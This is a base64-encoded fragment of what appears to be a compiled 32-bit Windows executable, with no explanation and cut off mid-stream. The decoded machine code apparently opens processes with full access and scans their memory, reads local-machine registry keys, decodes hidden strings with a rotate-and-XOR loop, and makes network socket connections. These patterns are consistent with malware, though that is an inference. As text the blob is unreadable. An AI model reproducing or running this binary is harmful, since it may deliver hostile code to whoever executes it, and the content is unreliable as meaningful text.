AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7IPsFItF EFNWM/ZXM9uJdeyJdfiJRfA7dRAPjW8BAACLRfBqA1o7wolV9H0DiUX0i030uD09PT2Nffxm q4XJqn4Vi0UIjX38A/CLwcHpAvOli8gjyvOkik38isHA6AKF24hF/3Qmi30Uhf9+J4vDi3UM K0X4mff/hdJ1G8YEMw1DxgQzCkODRfgC6wuLdQyLfRTrA4t1DA+2Rf+LFTDwQACA4QPA4QSK BBCIBDOKRf2K0EPA6gQCyoXbdCGF/34di8MrRfiZ9/+F0nUOxgQzDUPGBDMKQ4NF+AKKRf2L FTDwQAAkDw+2ycDgAooMEYgMM4pN/orRQ8DqBgLChduIRf90HoX/fhqLwytF+Jn3/4XSdQ7G BDMNQ8YEMwpDg0X4Ag+2Rf+LFTDwQACKBBCIBDNDg330An8FxkQz/z2A4T+F23Qehf9+GovD K0X4mff/hdJ1DsYEMw1DxgQzCkODRfgCD7bBiw0w8EAAigQIiAQzQ4N99AF/BcZEM/89i3Xs g8YDg23wA4l17OmI/v//X4vDXlvJw1WL7IHsEAEAAINl+ACNRfxQagRoUgJBAOjJIgAAWVlQ aAIAAID/FUzQQACFwA+FtwAAAFNWV7uLCUEAUFPo1CIAAFmJRfRZjYXw/v//aAQBAABQ/3X4 /3X8/xVQ0EAAhcB1e42F8P7//1DowbUAADP/WTl99H5fV1PoaCIAAFCNhfD+//9Q6GUqAACD xBCFwHQ+aJMLQQD/FfTQQACL8IX2dC1qAmiTDEEA6DciAABZWVBW/xU40UAAhcB0DI2N8P7/ /1H/dfz/0Fb/FfDQQABHO330fKH/Rfjpaf////91/P8VXNBAAF9eW8nDVYvsgewUCAAAjUUM VoNl/ABQ/3UMvgAEAACJdfSJdfj/dQj/FUzQQACFwHQHM8Dp7AAAAFNXv4sJQQBqAFfo5yEA AFmJRQhZjUX4M9tQjYXs9///UI1F8FCNRfRTUI2F7Pv//4l19FCJdfj/dfz/dQz/FUTQQACF wA+FlAAAAIN98AF0BiCF7Pf//42F7Pv//1DorbQAAI2F7Pf//1DoobQAAIN9CABZWX5gU1fo SCEAAIlF7FCNhez7//9Q6EIpAACDxBCFwHUs/3XsjYXs9///UOgsKQAAWYXAWXUXjYXs+/// aDTwQABQ6O1iAABZhcBZdRCNhez7//9Q/3UM/xVU0EAAQztdCHyg/0X86TX/////dQz/FVzQ QABfM8BbXsnCCABVi+yB7AACAABW6OD9//+NhQD+//9qAlDoHSkAAFmNhQD+//9ZvgIAAIBQ Vuiq/v//jYUA/v//agZQ6PsoAABZjYUA/v//WVBW6I3+//9eycNVi+yB7EQEAABTaMDwQADo MmQAADPbxwQkBA5BAFOJRezoKUAAAFNoxQtBAOiDIAAAg8QQiUX8jYW8+///aAQBAABQU/8V FNFAAP91CMeFwPz//yQCAABqCOjsYQAAjY3A/P//iUXoUVDo1mEAAIXAD4R/AQAAjYXg/f// UI2F5P7//1DozWIAAI2F5P7//1CNhbz7//9Q6Iq0AACDxBCFwA+ETgEAAP+1yPz//1No/w8f AP8VINFAADvDiUX0D4QxAQAAVr4AAAgAV1a/0DFBAFNX6B5iAACLhdj8//+DxAw7xnICi8Y5 XQyJXfh1HY1N+FFQV/+11Pz///919P8VGNFAAIXAD4TbAAAAOV38iV0ID4bPAAAA/3UIaMUL QQDoXx8AAFCJRfDoGGMAADP2g8QMOXUMi9h0CI1DbolF+OsDi0X4K8OD6AoPhIgAAAD/deyN vtAxQQBXaMDwQADoErMAAIPEDIXAdGaDfQwAdSBTV/918Oj7sgAAg8QMhcB0D4tF+EYrw4Po CjvwcsHrR2oA/3X0/xUo0UAAajL/FSzRQABqAWjwDUEA6NQeAABQjYXk/v//UOjRJgAAg8QQ hcB1DY2F5P7//1DoOykAAFmLRfxAiUUI/0UIi0UIO0X8D4Ix/////3X0/xUk0UAAagFbX17/ dej/FSTRQACLw1vJwggAVYvsgew4AgAAU1ZXal9eM9tTaIsJQQDokx4AAFmJRfxZjUYBamSZ Wff5agpZi8KJRfiZ9/mF0nUF6Gz9//9TagLHhcz+//8oAQAA6PVfAACNjcz+//+JRfRRUOjx XwAAhcAPhKcAAACNhcj9//9TUFONhfD+//9TUOg+YgAAjYXI/f//UOg/sQAAg8QYOV34dQxT /7XU/v//6F39//8z/zP2OV38fk5WaIsJQQDozR0AAFCNhcj9//9Q6GKyAACDxBCFwHUli0X8 SDvwdQg5HQA5SQB0FWoBX1f/tdT+///oFv3//4k9PBNBAEY7dfx8tjv7dQaJHTwTQQCNhcz+ //9Q/3X06EFfAADpUf////919P8VJNFAADkd8DhJAHQcaOQ1SQBo3DNJAGjgNEkAaAIAAIDo Ey8AAIPEEGpk/xUs0UAAi3X46dX+//+LwcNVi+xRUVNWV2oCWovxagQz/zl9EFm4AAAAgIva iU34iX38iT6JfgSJfgh1CrgAAADAi9mJVfg5fQh0NVdqIGoDV2oBUP91CP8V/NBAAIP4/4kG dF2NTfxRUP8V7NBAADl9/IlGDHUdi00MO890AokBV1dXU1f/Nv8VBNFAADvHiUYEdQr/Nv8V JNFAAOsjV1dX/3X4UP8VCNFAADvHiUYIdRH/dgSLPSTRQAD/1/82/9czwF9eW8nCDABWi/FX i0YIhcB0B1D/FfjQQACLRgSLPSTRQACFwHQDUP/XiwaFwHQDUP/XgyYAg2YEAINmCABfXsNT Vot0JAwz21dT6GYvAACD4AFqB4mGHAkAAGomjYa4CAAAagpQ6MQeAACDxBQ4Heg2SQB0E42G tAcAAGjoNkkAUOjJXgAAWVlW6I8BAAAPvoYsAQAAjb4sAQAAUOhgYQAAOJ6sAQAAWVmIB3UK x4YcCQAAAQAAADiesAYAAI2+sAYAAHUfagH/tiAJAABo3AFBAOimGwAAWVlQU1fofykAAIPE EF9eW8NVi+yD7BxTVo1F5FdQ/xXY0EAAM9u+5gZBAFNW6KQbAABZO8NZiUX0D44AAQAAvxjS QAAzwIH/KNJAAA+dwEiLD4PgColN/IPABYlN+PfYUI1F/FDoMzIAAFlZZotN+GY5Tfx+CWaD wQxmg0X6Hg+3ReYPv1X8O9B/HQ+/yTvBfxYPt0XqD79N/jvIfwoPv036QUE7wX4JQ4PHBDtd 9HyTO130D42FAAAAU1bo5RoAAGoAi9joFC4AAIvwi0UIg+YBVmhmB0EAjbgsAQAA6MMaAABQ V+iOXQAAagDo7S0AAIPEIDPSagNZ9/GF0nQEhfZ0LmoA6NQtAABqBjPSWffxUmikA0EA6Ioa AABQV+hlXQAAaDjwQABX6FpdAACDxBxTV+hQXQAAWVlqAVjrAjPAX15bycNVi+yB7AgMAABT Vot1CI2F+Pf//1dQjYX48///M9tQjUZkUIld/Iid+PP//+hpIQAAjYasAQAAU4lF+GjcAUEA iBiNhiwBAACInVz0//+Infj7//+JRQiIGIiesAYAAOgsGgAAU4v46CwtAAAz0lP394mWIAkA AOgcLQAAg8QcqAN1D1boQv7//4XAWQ+FTQMAAFPoAC0AAFkz0moYWffxhdJ1LGi0DkEAiZ4c CQAA/3UI6HtcAACBxsgAAABWaMoOQQD/dfjosGAAAOkMAwAAU+jCLAAAWTPSahhZ9/GF0g+F pwAAAMdF/AEAAABT6KUsAABZM9JqA1n38YXSD4TxAQAAOV38D4XoAQAAv/IDQQBTV+h4GQAA U4lF+Oh3LAAAM9L3dfhSV+gzGQAAU4v46GMsAACDxBgz0moDWffxhdIPhZ0BAABT6EssAABZ M9JqCln38YXSD4UnAQAAV1PoNCwAAIPgAYPABFBoEANBAOjrGAAAg8QMUP91COj6XwAAV1bo ZgYAAOlPAgAAU+gFLAAAqB9ZdQpoOPBAAOlDAQAAU+jwKwAAqAFZD4U8////OB3sN0kAD4Qw ////agFqMo2F+Pv//2oIv+w3SQBQV+hcHgAAg8QUhcAPhA3///9Tx4YcCQAAAQAAAOioKwAA WTPSagqInfj3//9Z9/GNhfj7//9QO9N1L1PoiSsAAIPgAYPABFBoEANBAOhAGAAAg8QMUP91 COhPXwAAjYX4+///UOlK/////3UI6PJaAABT6FIrAACDxAyoPw+FjgEAAGoBaCADAACNhfj3 //9qCFBXiJ349///6MQdAACNhfj3//9Q/3X46LZaAACDxBzpWwEAAFPoDisAAIPgA1BoEANB AOjIFwAAi3UIUFbokFoAAFPo8CoAAIPEGKgBdBuNhfjz//9QVuiGWgAAaDzwQABW6HtaAACD xBAPvgdQ6N1dAABXVogH6GZaAACDxAzp+wAAAFf/dQjoRVoAAFlZ6esAAABT6J4qAABZM9Jq BVn38Tld/Iv6dAIz/4sEvfDRQABTiUX8iwS9BNJAAIlF+OhzKgAAM9JZ93X4AVX8g/8EfWNT 6F8qAACoAVl1I4P/A3QeU+hPKgAAg+ABg8AIUGioBUEA6AYXAACDxAyL2OsFu6AxQQD/dfxo pANBAOjtFgAAWVlQU1doVANBAOjeFgAAWVlQjYX4+///UOjqXQAAg8QQ6y3/dfxopANBAOi9 FgAAWVlQV2hUA0EA6K8WAABZWVCNhfj7//9Q6LtdAACDxAyNhfj7//9Q/3UI6GBZAAD/dfxX VugIAAAAg8QUX15bycNVi+yB7GACAACDfQwEU1ZXD4SZAQAAM9tT6JYpAACoAVm+qAVBAHUg g30MA3QaU+iAKQAAg+ABg8AIUFboOxYAAIPEDIv46wW/oDFBAP91EGikA0EA6CIWAABZWVBX /3UMaFQDQQDoERYAAFlZUI2FaP7//1DoHV0AAFPoNCkAAIPgAYPAEFBW6O8VAACDxBxQU+gd KQAAagMz0ln38YPCElJW6NQVAACDxAxQag9W6MgVAABZWVCNhTD///9Q6NRcAABT6OsoAACD xBSoAXUmU+jeKAAAg+ABUGgQA0EA6JgVAABQi0UIBawBAABQ6FtYAACDxBSLRQhqDlaNuKwB AACJfRDochUAAFBX6E1YAACNhWj+//9QV+hAWAAAg8QYOV0Mv3YHQQB1ZFf/dRDoKlgAAGgz CUEA/3UQ6B1YAACLdQhTaHQNQQCJnhwJAACJniAJAADoURUAAFOJRfyBxrAGAADoSigAADPS 93X8Umh0DUEA6AIVAABQVujNVwAAaNwBQQBW6NJXAACDxDRX/3UQ6MZXAACNhTD///9Q/3UQ 6LdXAACDxBDpVgIAADPbU+j9JwAAg+ABvlgFQQCJRfyLRQhTVomYHAkAAImYIAkAAOjUFAAA U4v46NQnAAAz0vf3UlbokRQAAIlF+FCNhWj+//9Q6FNXAABT6LMnAACDxCS+qAVBAKgBdAnH RQygMUEA6xlT6JgnAACD4AGDwAhQVuhTFAAAg8QMiUUM/3UMagRW6EIUAABZWVCNhTD///9Q 6E5bAACNhTD///9QjYVo/v//UOgCVwAAi30QV2ikA0EA6BIUAACDxByJRRBQagRoVANBAOj/ EwAAWVlQjYUw////UOgLWwAAjYUw////UI2FaP7//1Dov1YAAP91EI2FMP///1DooFYAACs9 ANJAAIPHBldW6L4TAACDxCRQ/3UMagVW6K8TAABZWVCNhaD9//9Q6LtaAACNhaD9//9QjYUw ////UOhvVgAAi0UIg8QYOV38dC6NjWj+//8FrAEAAFFQ6EJWAACLRQi/dgdBAAWsAQAAV1Do PlYAAI2FMP///+ssjY0w////BawBAABRUOgUVgAAi0UIv3YHQQAFrAEAAFdQ6BBWAACNhWj+ //9Qi0UIBawBAABQ6PtVAACLRQiDxBgFrAEAAFdQ6OlVAACLRQhXjbisAQAAV+jZVQAAag1W 6O8SAABQV+jKVQAAagpW6OASAABQV+i7VQAAagtW6NESAABQV+isVQAAg8RA/3X4V+igVQAA agxW6LYSAABQV+iRVQAAi0UIU4mYHAkAAI2wsAYAAOjSJQAAg+ABUGh0DUEA6IwSAABQVuhX VQAAaNwBQQBW6FxVAACDxDRfXlvJw4PsZFOLXCRsVVaNq8gAAABXjbOsAQAAVWioBUEAVuhq WQAAv3YHQQBXVuglVQAAV1boHlUAAGiQBUEAVugTVQAAjUNkUFboCVUAAFdW6AJVAABqAWiQ BUEA6BQSAABQVujvVAAAg8REVVbo5VQAAFdW6N5UAABqAmiQBUEA6PARAABQVujLVAAA/7Qk nAAAAFbovlQAAFdW6LdUAABqAOgGJQAAg+ABv6gFQQBAUFfovhEAAFBW6JlUAACDxERqA1fo rBEAAFBW6IdUAACNRCQgUI1DZGoAUOjPGAAAagFofQdBAOiJEQAAUFXoVFQAAI1EJDxQVehZ VAAAg8Q0g6McCQAAAF9eXVuDxGTDVYvsgexoCAAAU1ZXi30MaJAFQQBX6B1UAACLXQiNhZj3 //9QjYWY+///jbPIAAAAUFboaBgAAI2FmPv//1ZQjYWY9///aCsNQQBQ6DBYAACNhZj3//9Q V+jqUwAAvn0HQQBWV+jeUwAAagFokAVBAOjwEAAAUFfoy1MAAIPERI1DZFBX6L5TAABWV+i3 UwAAagJokAVBAOjJEAAAUFfopFMAAI2DLAEAAFBX6JdTAABWV+iQUwAAaJ0HQQBX6IVTAACN g7gIAABQV4lFDOh1UwAAg8RAVlfoa1MAAFZX6GRTAABqB2oUjUWYaghQ6CQTAABqAf91DFfo NQIAAIPELIO7HAkAAACLxnQejUWYUI2FmPf//2j7CEEAUOhgVwAAg8QMjYWY9///UI2FmPv/ /2jhB0EAUOhFVwAAjYWY+///UFfo/1IAAI2DrAEAAFBX6PJSAABoTwhBAFfo51IAAFZX6OBS AABWV+jZUgAAagDoKCMAAIPEOIPgAYO7HAkAAACJRQh1B8dFCAIAAABqAf91DFfomQEAAIPE DI1FmFCNg7AGAABQ/3UIaMEIQQDosQ8AAFlZUI2FmPv//2hnCEEAUOi4VgAAjYWY+///UFfo clIAAFZX6GtSAABWV+hkUgAAjUX8agFQjYOsBQAAUOi6HAAAg8Q4iUUIhcB0ElBX6EFSAAD/ dQjoxFYAAIPEDFZX6C9SAACBw7QHAABZWYA7AA+E6wAAAFPozhgAAD0AyAAAWYlF/HIbPQDQ BwAPg88AAABqAOhRIgAAqAFZD4S/AAAAjUX8agBQU+hOHAAAg8QMiUUIhcAPhKUAAABqAf91 DFfouAAAAGoB/3UMV+itAAAAjYWY+///UI2FmPf//1BqAGoAU+gFUwAAjYWY+///UI2FmPf/ /1Dol1EAAIPENI1FmFCNhZj3//9QagJowQhBAOibDgAAWVlQjYWY+///aGcIQQBQ6KJVAACN hZj7//9QV+hcUQAAVlfoVVEAAFZX6E5RAAD/dQhX6EVRAABWV+g+UQAA/3UI6MFVAACDxEBq AP91DFfoEwAAAGhA8EAAV+gdUQAAg8QUX15bycNVi+xoQPBAAP91COgFUQAA/3UM/3UI6PpQ AACDxBCDfRAAdA9ofQdBAP91COjkUAAAWVldw1WL7IPsMFNWV/8V1NBAAIt9CDPbUFNo/w8f AIld8MdF9DIAAACJXfiIXdiIXdmIXdqIXduIXdzGRd0FiV3oiV3siV38iV3kiR//FSDRQACN TfCJReBRaghQ/xUg0EAAhcB1Dv8V4NBAAIlF/OkSAQAA/3X0U/8VlNBAADvDiUX4dOGNTfRR /3X0UGoC/3Xw/xUw0EAAizXg0EAAhcB1OP/Wg/h6dWv/dfj/FdzQQAD/dfRT/xWU0EAAO8OJ Rfh0UY1N9FH/dfRQagL/dfD/FTDQQACFwHQ6jUXoUFNTU1NTU1NqBI1F2GoBUP8VKNBAAIXA dB2NRexQU1NTU1NTU2oGjUXYagFQ/xUo0EAAhcB1B//W6VH///+LdfiJXQg5HnZSg8YE/3Xo iwaLTgSJRdBQiU3U/xUs0EAAhcB1Iv917P910P8VLNBAAIXAdR3/RQiLRfiLTQiDxgg7CHLH 6xTHReQBAAAAiR/rCccHAQAAAIld5DkfdQs5XeR1BscHAQAAADld7Is1PNBAAHQF/3Xs/9Y5 Xeh0Bf916P/WOV34dAn/dfj/FdzQQAA5XfCLNSTRQAB0Bf918P/WOV3gdAX/deD/1otF/F9e W8nDVYvsuOAtAADoBlcAAFMz2zldEFZXx0X8IAAAAIideP///3QT/3UQjYV4////UOjQTgAA WVnrFWoHagqNhXj///9qBVDomQ4AAIPEEDldGHQF/3UY6wVo5DVJAI2FePr//1DonE4AAIt1 CFlZjYV0/v//VlDoik4AAP91DI2FdP7//1Doi04AAIPEEDldFHQT/3UUjYVw/f//UOhkTgAA WVnrImoBaNwBQQDoQ1YAAGoCmVn3+Y2FcP3//1JQ6FIZAACDxBA5HfA4SQB0HmoBU+gdVgAA agKZWff5jYVw/f//UlDoLBkAAIPEEI2FdP7//1Do/E4AAIC8BXP+//9cjYQFc/7//1l1AogY gL1w/f//XHQTjYV0/v//aETwQABQ6O5NAABZWY2FcP3//1CNhXT+//9Q6NlNAABZjYV0/v// WVNQjYV4+v//UP8VfNBAAIXAD4RlAQAA6JRVAABqBZlZ9/mF0nQi6IVVAACZuQAoAAD3+Y2F dP7//4HCgFABAFJQ6JkWAABZWWh6IgAAjYUg0v//aMDwQABQ6BNSAACNhSDS//+InTTi//9Q jYV0/v//UOj/LAAAjYV0/v//UOgQKwAAg8QYOR3wOEkAD4XqAAAAjUX8UI1F3FD/FWTQQACN RdxQjUYCUOjkngAAWYXAWQ+ExQAAAGoCU1aLNQDQQAD/1ov4O/t1CTldHA+EqgAAAFNTU1ON hXT+//9TUFNqA2gQAQAAjYV4////U1CNhXj///9QV/8VSNBAAFeLPUDQQAD/12oBU/91CP/W i/CNhXj///9qEFBW/xU40EAAU1NQiUUQ/xUk0EAA/3UQiUUY/9dW/9c5XRgPhWUBAAC6gQAA ADPAi8qNvab2//9miZ2k9v//ZomdnPT///OrZquLyjPAjb2e9P//OR0EOUkA86uJXRCJXRhm q3UHM8DpJAEAAItFDIA4XHUHx0UYAQAAAL8EAQAAjYWk9v//V4s1eNBAAFBq//91CGoBU//W i00MjYWc9P//V1CLRRhq/wPBUGoBU//WjUUQUI2FnPT//2oCUI2FpPb//1D/FQQ5SQCFwA+F uwAAAFNTjYV8+///V1CLRRBq/4idfPv///9wGFNT/xWg0EAAjUUUUGgCAACA/3UI/xUc0EAA hcB1d42FrPj//2oDUOgnEQAAjYV8+///aETwQABQ6JNLAACNhXD9//9QjYV8+///UOiASwAA jYV0+f//U1BTjYV8+///U1CInXT5///ov0wAAI2FfPv//1CNhXT5//9QjYWs+P//UP91FOgy GgAAg8Q8/3UU/xVc0EAAoQw5SQA7w3QF/3UQ/9BqAVhfXlvJw1WL7ItFFFNWi/FXM9v/dQiJ RhiNRhyJHlCJXgzo9EoAAIt9EGaLRQxXZomGnAEAAGbHhp4BAAAZAOgWUwAAg8QMO8OJRgR1 DMeGpAEAAAIAAIDrY1fo+lIAADvDWYlGEHTmV1P/dgSJfgiJfhToQ0oAAFdT/3YQ6DlKAACD xBiNjqABAACJnqQBAACJnqgBAABqAWoB/3UMiZ6sAQAAiJ4cAQAA6D4FAACFwHUOx4akAQAA BQAAgDPA6xA5Xgx0CDkedARqAesCagJYX15bXcIQAFaL8VeLRgSFwHQHUOjNTgAAWYtGEIXA dAdQ6L9OAABZjb6gAQAAagBqBmhI8EAAi8/ojAUAAIvP6MEFAACFwHT1g/gBdRBo3QAAAIvO 6NUCAACL8OsDagFei8/okAUAAIvGX17DVovxV2aLhpwBAACNvqABAABQjUYcUIvP6N0EAACF wHUNuAEAAICJhqQBAADrK4vP6GQFAACFwHT1g/gBdQ5o3AAAAIvO6HgCAADrDWoBx4akAQAA AwAAgFhfXsNVi+yB7AQBAABTVovxV42GHAEAAFCNhfz+//9oYPBAAFDopU0AAIPEDI2F/P7/ /42+oAEAAGoAUOg1SgAAWVCNhfz+//9Qi8/otAQAAIvP6OkEAACFwHT1g/gBD4WdAAAAu/oA AACLzlPo+AEAAIXAD4WVAAAAi87olQAAAIXAD4WGAAAAIUX8OQaLfgR2IVeLzug1AQAAhcB1 cFfo0UkAAP9F/I18BwGLRfxZOwZy32oAjb6gAQAAagdoWPBAAIvP6DsEAABoYgEAAIvO6JQB AACFwHU1UIvP/3UM/3UI6B0EAABqAGoFaFDwQACLz+gNBAAAU4vO6GoBAADrDWoBx4akAQAA AwAAgFhfXlvJwggAU1aL8YtGFIPAZFDon1AAAIvYWYXbdQhqAljpmAAAAFVXaHDwQABT6ERI AACLfhAz7TluDFlZdiVXU+hBSAAAaDjwQABT6DZIAABX6BBJAACDxBRFO24MjXwHAXLbaGzw QABT6BhIAABZjb6gAQAAWWoAU+joSAAAWVBTi8/obQMAAIvP6KIDAACL6IXtdPNT6HZMAABZ agFYXzvoXXUOaPoAAACLzuipAAAA6wrHhqQBAAADAACAXlvDU1b/dCQMi9nomUgAAIPAZFDo 308AAIvwWYX2WXUFagJY63JVV2iA8EAAVuiGRwAA/3QkHFbojEcAAGhs8EAAVuiBRwAAg8QY jbugAQAAagBW6FBIAABZUFaLz+jVAgAAi8/oCgMAAIvohe1081bo3ksAAFlqAVhfO+hddQ5o +gAAAIvL6BEAAADrCseDpAEAAAMAAIBeW8IEAFWL7IHsBAQAAFaL8VdqAI2+oAEAAI2F/Pv/ /2gABAAAUIvP6IoCAACLz+ioAgAAhcB09YP4AXVAjUX8UI2F/Pv//2iM8EAAUOgcTwAAi0UI i038g8QMO8F0GseGpAEAAAQAAICJjqgBAACJhqwBAABqAusQM8DrDceGpAEAAAMAAIBqAVhf XsnCBAD/dCQEgcEcAQAAUeiBRgAAWVnCBABVi+xRU1ZXi/H/dQiLfhDoWEcAAINl/ACDfgwA WYvYdhZX6EVHAAD/RfyNfAcBi0X8WTtGDHLqK14Qi0YUA9872HZOi04YA8FQiUYU6GpOAACL 2FmF23UMx4akAQAAAgAAgOs+/3YUagBT6K1FAACLRhCLzyvIUVBT6I5OAACLRhBQK/jojkoA AIPEHIleEAP7/3UIV+jiRQAA/0YMi0YMWVlfXlvJwgQAVYvsUVNWV4vx/3UIi34E6K9GAACD ZfwAgz4AWYvYdhVX6J1GAAD/RfyNfAcBi0X8WTsGcusrXgSLRggD3zvYdk6LThgDwVCJRgjo w00AAIvYWYXbdQzHhqQBAAACAACA6zz/dghqAFPoBkUAAItGBIvPK8hRUFPo500AAItGBFAr +OjnSQAAg8QciV4EA/v/dQhX6DtFAAD/BosGWVlfXlvJwgQAVYvsgeyQAQAAU1ZqAY2FcP7/ /1uL8VBqAv8V4NFAAA+/RQxISHUDagJbD7/DagZQagL/FeTRQAAzyYP4/4kGXg+VwYvBW8nC DABVi+yD7BBWi/H/dQz/FdTRQABmiUXyjUUMUIvO/3UIZsdF8AIA6HkAAACLRQxqEIhF9IpF DohF9opFD4hl9YhF941F8FD/Nv8V2NFAAIXAXnQK/xXc0UAAM8DrA2oBWMnCCAD/dCQM/3Qk DP90JAz/Mf8V0NFAAMIMAP90JAz/dCQM/3QkDP8x/xXM0UAAwgwA/zH/FcTRQAD/JcjRQABq AVjDVYvsUVFTVleLfQhqATP2W4lN+FeJdfzoFUUAAIXAWX4sigQ+PC51Bf9F/OsKPDB8BDw5 fgIz21dG6PNEAAA78Fl83oXbdBiDffwDdAQzwOs6/3UMi034V+g1AAAA6ylX/xXA0UAAi/D/ FdzRQACF9nQWM8CLTgyLVQyLCYoMAYgMEECD+AR87GoBWF9eW8nCCABVi+xRU4tdCFYz9leJ dfyNRQiNPB5QaIzwQABX6NtLAACLVQyLRfyKTQiDxAyD+AOIDBB0F0aAPy50CIoEHkY8LnX4 /0X8g338BHzDX15bycIIAFWL7FFTVlf/dQzoPUQAAIt1CItdEFmJRfxW6C1EAACL+FmF/3Qt hdt0CYvGK0UIO8N9IIN9FAB0D/91DFbo6pQAAFmFwFl0Bo10PgHry4PI/+syi038i8YrRQiN RAgCO8N+CIXbdAQzwOsa/3UMVujoQgAAVujSQwAAg8QMgGQwAQBqAVhfXlvJw1aLdCQIVzP/ OXwkEH4dVuiuQwAAhcBZdBJW6KNDAABHWTt8JBCNdAYBfOOLxl9ew1aLdCQIVzP/VuiEQwAA hcBZdBqDfCQQAHQMi84rTCQMO0wkEH0HjXQGAUfr24vHX17DVYvsUVOLXQhWi3UMV2oAU4l1 /Oi2////i/hZhf9ZfwczwOmVAAAAhfZ9D2oA6KQSAAAz0ln394lV/I1HAlBT6Fr///+L8Cvz 0eZW6F9KAABWM/ZWUIlFDOizQQAAg8QYhf9+JDt1/HQaagH/dRBWU+gp////WVlQ/3UM6JT+ //+DxBBGO/d83DP2Tzv+iTN+H2oB/3UQVv91DOj//v//WVlQU+hs/v//g8QQRjv3fOH/dQzo U0YAAFlqAVhfXlvJw1ZXM/+L92oA994b9oHm+AAAAIPGCOj7EQAAM9JZ9/aLRCQMA8eE0ogQ dQPGAAFHg/8EfNBfXsNVi+yD7AyLRRCDZfgAg30MAFOKCIpAAVZXiE3+iEX/fjOLRQiLTfgD wYlF9IoAiEUTYIpFE4pN/tLAMkX/iEUTYYtN9IpFE/9F+IgBi0X4O0UMfM1qAVhfXlvJw1WL 7IPsDItFEINl+ACDfQwAU4oIikABVleITf6IRf9+M4tFCItN+APBiUX0igCIRRNgikUTik3+ MkX/0siIRRNhi030ikUT/0X4iAGLRfg7RQx8zWoBWF9eW8nDU1ZXM/9X6BsRAABZM9JqGotc JBRZ9/GL8oPGYYP7BHR4g/sBdRVX6PoQAABZM9JqCln38YvCg8Aw62D2wwJ0E1fo4BAAAFkz 0moaWffxi/KDxkFX6M0QAACoAVl0GPbDBHQTV+i9EAAAWTPSahpZ9/GL8oPGYVfoqhAAAKgB WXQY9sMBdBNX6JoQAABZM9JqCln38Yvyg8Ywi8ZfXlvDU4tcJAxWV4t8JBiL8zv7fhJqAOhv EAAAK/sz0vf3WYvyA/OLXCQQM/+F9n4S/3QkHOgr////iAQfRzv+WXzuagLoG////1mIA4Ak HwBqAVhfXlvDVle/kPBAADP2V+iuQAAAhcBZfhiKRCQMOoaQ8EAAdBFXRuiWQAAAO/BZfOgz wF9ew2oBWOv4U4pcJAhWV4TbfD8PvvNW6EhLAACFwFl1NVboa0sAAIXAWXUqv5jwQAAz9lfo VkAAAIXAWX4UOp6Y8EAAdBBXRuhCQAAAO/BZfOwzwOsDagFYX15bw1aLdCQIigZQ/xVo0EAA hcB0C4B+AYB2BWoBWF7DM8Bew4tEJASKADyhdAc8o3QDM8DDagFYw1WL7IHs/AcAAItFHFNW V4t9DDP2iXX8gCcAOXUQiTB/CYtFCEDp3AEAAItdCIoDUOhA////hcBZdVCJXQyDfSAAdCv/ dQzof////4XAWXQN/3UM6JP///+FwFl0Lf91DOiG////hcBZdARG/0UMi0UQRv9FDEg78H0Q i0UMigBQ6PD+//+FwFl0s4tFEEg78IlFDA+NagEAAIoEHlDo0/7//4XAWQ+EvgAAAIoEHlDo 